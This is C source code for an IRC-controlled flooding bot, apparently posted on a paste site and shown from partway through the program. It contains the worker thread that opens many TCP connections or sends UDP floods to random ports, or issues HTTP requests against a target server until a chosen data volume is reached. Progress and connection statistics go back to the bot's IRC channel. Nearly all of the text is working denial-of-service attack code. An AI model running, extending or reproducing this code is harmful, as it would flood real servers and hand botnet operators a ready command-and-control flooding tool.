- data.DELAY_TIME = data.CURRENT_TIME;
- data.serveraddr = arg_data->serveraddr;
- data.size = arg_data->size;
- data.total_connections = arg_data->total_connections;
- data.socket_timeout = arg_data->socket_timeout;
- /* Open the connections (for TCP/HTTP attack). */
- for (i = 0; i < data.total_connections; i++) {
- data.open_connection(&data);
- }
- /* Loop until the attack is done. */
- for (;;) {
- io_loop(&data);
- /* Update thread's timer. */
- data.CURRENT_TIME = get_time(NULL);
- if (arg_data->type == T_HTTP && (data.rstats.total_bytes >= (long long) MB_TO_BYTES(data.size))) {
- break;
- } else if ((arg_data->type == T_TCP || arg_data->type == T_UDP) && (data.wstats.total_bytes >= (long long) MB_TO_BYTES(data.size))) {
- break;
- }
- }
- sock_printf("PRIVMSG %s :[%s] Process finished => Total bytes read: %lld (%.2f MB), Total bytes sent: %lld (%.2f MB)",
- irc_srv.channel, hostname, data.rstats.total_bytes, ((double) data.rstats.total_bytes / 1024) / 1024,
- data.wstats.total_bytes, ((double) data.wstats.total_bytes / 1024) / 1024);
- if (arg_data->type != T_UDP) {
- unsigned long total_connections = data.connections_succeed + data.connections_failed;
- sock_printf("PRIVMSG %s :[%s] Total connections completed: %lu (%.2f%%), Total connections failed: %lu (%.2f%%)",
- irc_srv.channel, hostname, data.connections_succeed, ((double) data.connections_succeed / total_connections) * 100,
- data.connections_failed, ((double) data.connections_failed / total_connections) * 100);
- }
- pthread_exit(NULL);
- return NULL;
- }
- /**************************************************************************/
- /**** I/O FUNCTIONS BELOW ****/
- /**
- * sock_printf
- *
- * Write data to the IRC socket using a printf like format argument.
- */
- static void sock_printf(char *fmt, ...) {
- char lbuffer[MAX_MSG_LEN];
- va_list list;
- ssize_t b;
- size_t len;
- va_start(list, fmt);
- vsnprintf(lbuffer, sizeof (lbuffer), fmt, list);
- va_end(list);
- len = strlen(lbuffer);
- lbuffer[len++] = '\n';
- b = write_data(sock, lbuffer, len);
- if (b != (long) len) {
- perror("write()");
- do_restart(NULL);
- }
- }
- /**************************************************************************/
- /**
- * write_data
- *
- * Write the data to the socket using thread synchronization to avoid
- * simultaneous writes on the same FD.
- */
- static ssize_t write_data(int s, void *data, size_t len) {
- ssize_t b;
- pthread_mutex_lock(&wr_lock);
- b = write(s, data, len);
- pthread_mutex_unlock(&wr_lock);
- return b;
- }
- /**************************************************************************/
- /**
- * init_fdset
- *
- * Initialize an fd_set to zero.
- */
- static void init_fdset(fd_set *set) {
- memset(set, 0, sizeof (fd_set));
- }
- /**************************************************************************/
- /**
- * init_fdlist
- *
- * Initialize the fd_list to zero.
- */
- static void init_fdlist(socket_t *fd_list) {
- memset(fd_list, 0, MAX_FDS);
- }
- /**************************************************************************/
- /**
- * open_udp
- *
- * Create a udp socket and add it to the active sockets as connected.
- */
- static void open_udp(threaddata_t *data) {
- socket_t sock;
- memset(&sock, 0, sizeof (socket_t));
- sock.sockfd = socket(AF_INET, SOCK_DGRAM, 0);
- if (sock.sockfd < 0) {
- perror("socket()");
- return;
- }
- setnonblocking(sock.sockfd); /* Set the socket as non-blocking. */
- sock.socket_time = data->CURRENT_TIME.tv_sec; /* Connection start time. */
- sock.wbufp = 0;
- sock.read_cb = data->read_cb;
- sock.write_cb = data->write_cb;
- SET_CONNECTED(&sock);
- add_socket(data, &sock, &data->e.writefds);
- data->active_sockets++;
- }
- /**************************************************************************/
- /**
- * open_tcp_connection
- *
- * Create a tcp socket and start the connection.
- */
- static void open_tcp_connection(threaddata_t *data) {
- int res;
- socket_t sock;
- memset(&sock, 0, sizeof (socket_t));
- sock.sockfd = socket(AF_INET, SOCK_STREAM, 0);
- if (sock.sockfd < 0) {
- perror("socket()");
- return;
- }
- setnonblocking(sock.sockfd); /* Set the socket as non-blocking. */
- sock.socket_time = data->CURRENT_TIME.tv_sec; /* When the connection started. */
- sock.wbufp = 0;
- sock.read_cb = data->read_cb;
- sock.write_cb = data->write_cb;
- res = connect(sock.sockfd, (struct sockaddr *) & data->serveraddr,
- sizeof (data->serveraddr));
- if (res == 0) { /* Socket connected immediately, this is good. */
- /* Mark the socket as connected and add it to the list. */
- SET_CONNECTED(&sock);
- add_socket(data, &sock, &data->e.writefds);
- data->active_sockets++;
- data->connections_succeed++;
- } else if (res < 0) {
- if (errno == EINPROGRESS) {
- SET_CONNECTING(&sock);
- add_socket(data, &sock, &data->e.writefds);
- data->active_sockets++;
- } else {
- data->connections_failed++;
- fprintf(stderr, "Error connecting: %s\n", strerror(errno));
- }
- }
- }
- /**************************************************************************/
- /**
- * add_socket
- *
- * Add a socket to the socket array and the given fd_set.
- */
- void add_socket(threaddata_t *data, socket_t *sock, fd_set *set) {
- add_fd(sock->sockfd, set);
- data->fdlist[sock->sockfd] = *sock;
- if (sock->sockfd > data->maxfd) {
- data->maxfd = sock->sockfd;
- }
- }
- /**************************************************************************/
- /**
- * del_socket
- *
- * Delete a socket from the socket array and remove it from the read/write fd_set's.
- * In addition, close the socket.
- */
- void del_socket(threaddata_t *data, socket_t *sock) {
- int fd = sock->sockfd;
- del_fd(fd, &data->e.readfds);
- del_fd(fd, &data->e.writefds);
- data->fdlist[fd].sockfd = -1;
- data->fdlist[fd].status = 0;
- close(fd);
- if (fd == data->maxfd) {
- while (data->fdlist[--fd].sockfd == -1)
- ;
- data->maxfd = fd;
- }
- }
- /**************************************************************************/
- /**
- * add_fd
- *
- * Activate a socket to the given fd_set.
- */
- static void add_fd(int fd, fd_set *set) {
- FD_SET(fd, set);
- }
- /**************************************************************************/
- /**
- * del_fd
- *
- * Remove a socket from the given fd_set.
- */
- static void del_fd(int fd, fd_set *set) {
- FD_CLR(fd, set);
- }
- /**************************************************************************/
- /**
- * setnonblocking()
- *
- * Set the socket as non-blocking.
- */
- void setnonblocking(int sockfd) {
- int opts;
- opts = fcntl(sockfd, F_GETFL);
- if (opts < 0) {
- perror("fcntl()");
- exit(EXIT_FAILURE);
- }
- opts |= O_NONBLOCK;
- opts = fcntl(sockfd, F_SETFL, opts);
- if (opts < 0) {
- perror("fcntl()");
- exit(EXIT_FAILURE);
- }
- }
- /**************************************************************************/
- /**
- * check_connection
- *
- * Checks if a non-blocking connection completed succesfully.
- *
- * Returns 0 on success and non-zero on connection failure.
- */
- int check_connection(int sockfd, char **error) {
- socklen_t lon;
- int valopt;
- lon = sizeof (int);
- if (getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*) (&valopt), &lon) < 0) {
- fprintf(stderr, "Error in getsockopt() %d - %s\n", errno, strerror(errno));
- exit(EXIT_FAILURE);
- }
- if (valopt) {
- *error = strerror(valopt);
- return 1;
- }
- return 0;
- }
- /**************************************************************************/
- /**
- * check_timeouts
- *
- * Socket timeout handling code.
- */
- void check_timeouts(threaddata_t *data) {
- int i;
- socket_t *sock;
- int time_diff;
- for (i = 0; i <= data->maxfd; i++) {
- sock = &data->fdlist[i];
- if (sock->sockfd != -1) {
- if (IS_CONNECTING(sock) && ((time_diff = data->CURRENT_TIME.tv_sec - sock->socket_time) >= data->socket_timeout)) {
- fprintf(stdout, "Socket %d timed out after %d seconds\n", sock->sockfd, time_diff);
- del_socket(data, sock);
- data->active_sockets--;
- data->connections_failed++;
- }
- }
- }
- }
- /**************************************************************************/
- /**
- * check_active_sockets
- *
- * Check the number of active sockets and open more connections if needed.
- */
- void check_active_sockets(threaddata_t *data) {
- int i;
- if (data->active_sockets < data->total_connections) {
- /* We need more connections. */
- int more_connections = (data->total_connections - data->active_sockets);
- for (i = 0; i < more_connections; i++) {
- data->open_connection(data);
- }
- }
- }
- /**
- * check_write_delay
- *
- * Apply any delay supplied by the user.
- */
- void check_write_delay(threaddata_t *data) {
- int i;
- socket_t *sock;
- struct timeval res;
- timeval_subtract(&res, &data->CURRENT_TIME, &data->DELAY_TIME);
- /* Honor the timeout given by the user. */
- if (MICROSECOND_DIFF(&res) < (data->write_delay * 1000)) {
- for (i = 0; i <= data->maxfd; i++) {
- sock = &data->fdlist[i];
- if (sock->sockfd != -1 && IS_CONNECTED(sock) && !IS_BLOCKED(sock)) {
- SET_BLOCKED(sock);
- del_fd(sock->sockfd, &data->e.writefds);
- }
- }
- } else {
- for (i = 0; i <= data->maxfd; i++) {
- sock = &data->fdlist[i];
- if (sock->sockfd != -1 && IS_CONNECTED(sock) && IS_BLOCKED(sock)) {
- UNSET_BLOCKED(sock);
- add_fd(sock->sockfd, &data->e.writefds);
- }
- }
- }
- }
- /**************************************************************************/
- /**
- * write_tcp1
- *
- * Used by the HTTP attack.
- *
- * Writes the data from the wbuffer and then stops writting more data.
- * Returns the number of bytes written on success and < 0 on error.
- */
- ssize_t write_tcp1(threaddata_t *data, socket_t *sock) {
- ssize_t b;
- b = write(sock->sockfd, data->wbuffer + sock->wbufp, data->wbuf_len - sock->wbufp);
- data->DELAY_TIME = data->CURRENT_TIME;
- if (b < 0) {
- perror("write()");
- return b;
- } else {
- if (b > 0) {
- sock->wbufp += b;
- if (sock->wbufp == data->wbuf_len) {
- del_fd(sock->sockfd, &data->e.writefds);
- add_fd(sock->sockfd, &data->e.readfds);
- }
- }
- return b;
- }
- }
- /**************************************************************************/
- /**
- * write_tcp2
- *
- * Used by the TCP attacks and only sends data.
- * Returns the number of bytes written on success and < 0 on error.
- */
- ssize_t write_tcp2(threaddata_t *data, socket_t *sock) {
- ssize_t b;
- b = write(sock->sockfd, data->wbuffer, data->wbuf_len);
- data->DELAY_TIME = data->CURRENT_TIME;
- if (b < 0) {
- perror("write()");
- return b;
- } else {
- return b;
- }
- }
- /**************************************************************************/
- /**
- * write_udp1
- *
- * Used by the UDP attacks and only sends data.
- * Returns the number of bytes written on success and < 0 on error.
- */
- ssize_t write_udp1(threaddata_t *data, socket_t *sock) {
- ssize_t b;
- socklen_t slen;
- if (data->port == 0) {
- data->serveraddr.sin_port = htons((rand() % 64512) + 1024); /* Random port. */
- }
- slen = sizeof(data->serveraddr);
- b = sendto(sock->sockfd, data->wbuffer, data->wbuf_len, 0,
- (struct sockaddr *) &data->serveraddr, slen);
- data->DELAY_TIME = data->CURRENT_TIME;
- if (b < 0) {
- perror("write()");
- return b;
- } else {
- return b;
- }
- }
- /**************************************************************************/
- /**
- * read_tcp1
- *
- * Reads data from the remote host.
- * Returns the number of bytes read on success, 0 when the remote host closes
- * the socket and < 0 on error.
- */
- ssize_t read_tcp1(threaddata_t *data, socket_t *sock) {
- ssize_t b;
- b = read(sock->sockfd, data->rbuffer, sizeof (data->rbuffer));
- if (b < 0) {
- perror("read()");
- return b;
- } else {
- return b;
- }
- }
- /**************************************************************************/
- /**
- * rw_socket
- *
- * Handles reads and writes for a socket.
- */
- void rw_socket(threaddata_t *data, socket_t *sock, int r, int w) {
- char *error;
- ssize_t b;
- int fd = sock->sockfd;
- /* Socket marked ready for writing. */
- if (w) {
- if (IS_CONNECTING(sock) && check_connection(fd, &error)) {
- /* Connection failed, remove socket. */
- printf("Connection timeout for socket: %d %s\n", fd, error);
- del_socket(data, sock);
- data->active_sockets--;
- data->connections_failed++;
- } else if (IS_CONNECTED(sock)) {
- if (sock->write_cb) { /* Execute only if there is an associated callback. */
- if ((b = sock->write_cb(data, sock)) < 0) {
- if (errno != EWOULDBLOCK && errno != EAGAIN) {
- del_socket(data, sock);
- data->active_sockets--;
- }
- } else if (b > 0) {
- data->wstats.total_bytes += b;
- report_speed(data, &data->wstats, "Sent");
- }
- }
- } else {
- /* Socket connected. */
- UNSET_CONNECTING(sock);
- SET_CONNECTED(sock);
- if (data->wbuf_len == 0) {
- /* There are no data to write. */
- del_fd(fd, &data->e.writefds);
- }
- data->connections_succeed++;
- /* Always interested in reading (watching for EOF). */
- add_fd(fd, &data->e.readfds);
- }
- }
- /* Socket marked ready for reading. */
- if (r) {
- if (sock->read_cb) { /* Execute only if there is an associated callback. */
- if ((b = sock->read_cb(data, sock)) <= 0) {
- if ((b == 0) || ((b < 0) && errno != EWOULDBLOCK && errno != EAGAIN)) {
- del_socket(data, sock);
- data->active_sockets--;
- }
- } else {
- data->rstats.total_bytes += b;
- report_speed(data, &data->rstats, "Read");
- }
- }
- }
- }
- /**************************************************************************/
- /**
- * io_loop
- *
- * The main I/O loop called by the worker thread.
- */
- void io_loop(threaddata_t *data) {
- int n, i;
- fd_set rfds;
- fd_set wfds;
- struct timeval tval;
- tval.tv_sec = 0;
- tval.tv_usec = 1000; /* Avoid excessive CPU usage. */
- if (data->write_delay > 0) {
- check_write_delay(data);
- }
- /* Copy the fd_set's from the "global" structures. */
- memcpy(&rfds, &data->e.readfds, sizeof (fd_set));
- memcpy(&wfds, &data->e.writefds, sizeof (fd_set));
- /* Block for tval.tv_usec waiting for I/O activity. */
- n = select(data->maxfd + 1, &rfds, &wfds, NULL, &tval);
- if (n < 0) {
- if (((errno == EINTR) || (errno == EAGAIN))) {
- /* Interupted by a signal probably. */
- return;
- }
- /* These are fatal errors most of the times, so die. */
- perror("select()");
- exit(EXIT_FAILURE);
- } else {
- /* Check for socket timeouts. */
- if (data->CURRENT_TIME.tv_sec - data->LAST_TIMEOUT_CHECK
- >= (data->socket_timeout < CHECK_TIMEOUT ? data->socket_timeout : CHECK_TIMEOUT)) {
- data->LAST_TIMEOUT_CHECK = data->CURRENT_TIME.tv_sec;
- check_timeouts(data);
- }
- /* Check if the number of active sockets is correct and
- * start more connections if needed. */
- check_active_sockets(data);
- if (n == 0) {
- /* Nothing interesting (select timed out), just return. */
- return;
- }
- /* Chech all FD's for activity. */
- for (i = 0; i <= data->maxfd; i++) {
- if (n) {
- int rr = FD_ISSET(i, &rfds);
- int rw = FD_ISSET(i, &wfds);
- if (rr || rw) {
- n--;
- } else {
- continue;
- }
- /* Handle I/O operations. */
- rw_socket(data, &data->fdlist[i], rr, rw);
- } else {
- /* No more fd's */
- break;
- }
- } /* for() */
- }
- }
- /**************************************************************************/
- /**** MISC FUNCTIONS BELOW ****/
- /**
- * fqdn
- *
- * Get system's hostname (hostname -f command).
- */
- static char *fqdn(char *buf, size_t blen) {
- FILE *fp;
- size_t len;
- int status;
- fp = popen("hostname -f", "r");
- if (!fp || !fgets(buf, blen, fp) || (status = pclose(fp)) == -1) {
- fprintf(stderr, "Unable to get hostname\n");
- exit(EXIT_FAILURE);
- }
- len = strlen(buf);
- /* Remove the LF from the end of the string. */
- if (buf[len - 1] == '\n') {
- buf[len - 1] = '\0';
- }
- /* Truncate string if needed. */
- if (len == blen) {
- len--;
- }
- buf[len] = '\0'; /* NULL terminate the string. */
- return buf;
- }
- /**************************************************************************/
- /**
- * terminate_thread
- *
- * Terminate the worker thread and cleanup resources.
- */
- static int terminate_thread(void) {
- int ret;
- if (pthread && ((ret = pthread_kill(pthread, 0)) == 0)) {
- pthread_cancel(pthread);
- pthread_join(pthread, NULL);
- pthread = 0;
- return 1;
- }
- return 0;
- }
- /**************************************************************************/
- /**
- * free_user
- *
- * Release memory resources.
- */
- static void free_user(user_t *user) {
- free(user->nick);
- free(user->realname);
- free(user->username);
- free(user->host);
- }
- /**************************************************************************/
- /**
- * random_string
- *
- * Generate a random string.
- */
- static char *random_string(char *buf, int blen) {
- char valid_chars[] = "abcdefghijklmnopjrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- int r, i;
- for (i = 0; i < blen; i++) {
- r = rand() % (sizeof (valid_chars) - 1);
- buf[i] = valid_chars[r];
- }
- return buf;
- }
- /**************************************************************************/
- /**
- * dns
- *
- * Resolve a hostname to a network address.
- * Deprecated way for resolving addresses, getaddrinfo() is much better.
- */
- static void dns(const char *address, struct sockaddr_in *saddr) {
- struct hostent *h = 0;
- h = gethostbyname(address);
- if (h == 0) {
- perror("gethostbyname()");
- exit(EXIT_FAILURE);
- }
- memcpy(&saddr->sin_addr, h->h_addr, h->h_length);
- };
- /**************************************************************************/
- /**
- * report_speed
- *
- * Calculates the reading/writing speed and reports to the channel.
- * Not exactly accurate or the best code possible..
- */
- static void report_speed(threaddata_t *data, stats_t *stats, const char *type) {
- unsigned long temp, speed;
- temp = BYTES_TO_MB(stats->total_bytes);
- if (temp > stats->total_mb) {
- stats->total_mb = temp;
- if ((stats->total_mb % (data->size <
- REPORT_IF_SIZE ? (data->size - 1) > 0 ? data->size - 1 : data->size : REPORT_IF_SIZE)) == 0) {
- if (data->CURRENT_TIME.tv_sec - stats->LAST_CAPTURE_TIME > 0) {
- speed = (stats->total_bytes - stats->last_bytes) / (data->CURRENT_TIME.tv_sec - stats->LAST_CAPTURE_TIME);
- stats->LAST_CAPTURE_TIME = data->CURRENT_TIME.tv_sec;
- stats->last_bytes = stats->total_bytes;
- sock_printf("PRIVMSG %s :[%s] %s: %ld MB, Average speed: %ld KB/s\n",
- irc_srv.channel, hostname, type, stats->total_mb, speed / 1024);
- }
- }
- }
- }
- /**************************************************************************/
- /**
- * strtok_remaining()
- *
- * Code for this function taken from IrcServices (author: Andrew Church).
- */
- static char *strtok_remaining(void) {
- char *s = strtok(NULL, ""), *t;
- if (s) {
- while (isspace(*s))
- s++;
- t = s + strlen(s) - 1;
- while (t >= s && isspace(*t))
- *t-- = 0;
- if (!*s)
- return NULL;
- }
- return s;
- }
- /**************************************************************************/
- /**
- * get_time
- *
- * Get the current time in seconds & microseconds.
- */
- static struct timeval get_time(time_t *t) {
- struct timeval tv;
- if (gettimeofday(&tv, NULL) < 0) {
- perror("gettimeofday()");
- exit(EXIT_FAILURE);
- }
- /* If a time_t pointer is passed, assign the current time in seconds. */
- if (t) {
- *t = tv.tv_sec;
- }
- return tv;
- }
- /**************************************************************************/
- /* match_wild: Attempt to match a string to a pattern which might contain
- * '*' or '?' wildcards. Return 1 if the string matches the
- * pattern, 0 if not.
- */
- static int do_match_wild(const char *pattern, const char *str, int docase) {
- char c;
- const char *s;
- /* Sanity-check pointer parameters */
- if (pattern == NULL || str == NULL) {
- return 0;
- }
- /* This loop is guaranteed to terminate, either by *pattern == 0 (the
- * end of the pattern string) or a trailing '*' (or "*???..."). */
- for (;;) {
- switch (c = *pattern++) {
- case 0:
- if (!*str)
- return 1;
- return 0;
- case '?':
- if (!*str)
- return 0;
- str++;
- break;
- case '*':
- while (*pattern == '?') {
- if (!*str)
- return 0;
- str++; /* skip a character for each '?' */
- pattern++;
- }
- if (!*pattern)
- return 1; /* trailing '*' matches everything else */
- s = str;
- while (*s) {
- if ((docase ? (*s == *pattern) : (tolower(*s) == tolower(*pattern)))
- && do_match_wild(pattern + 1, s + 1, docase))
- return 1;
- s++;
- }
- break;
- default:
- if (docase ? (*str != c) : (tolower(*str) != tolower(c)))
- return 0;
- str++;
- break;
- } /* switch */
- }
- /* not reached */
- }
- /*************************************************************************/
- /**
- * match_wild
- *
- * Wildcard matching with case.
- */
- int match_wild(const char *pattern, const char *str) {
- return do_match_wild(pattern, str, 1);
- }
- /*************************************************************************/
- /**
- * timeval_subtract
- *
- * Substract two timeval structures and place the result in a third timeval structure.
- */
- int timeval_subtract(struct timeval *result, struct timeval *x, struct timeval *y) {
- /* Perform the carry for the later subtraction by updating y. */
- if (x->tv_usec < y->tv_usec) {
- int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1;
- y->tv_usec -= 1000000 * nsec;
- y->tv_sec += nsec;
- }
- if (x->tv_usec - y->tv_usec > 1000000) {
- int nsec = (x->tv_usec - y->tv_usec) / 1000000;
- y->tv_usec += 1000000 * nsec;
- y->tv_sec -= nsec;
- }
- /* Compute the time remaining to wait.
- tv_usec is certainly positive. */
- result->tv_sec = x->tv_sec - y->tv_sec;
- result->tv_usec = x->tv_usec - y->tv_usec;
- /* Return 1 if result is negative. */
- return x->tv_sec < y->tv_sec;
- }
- /*************************************************************************/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement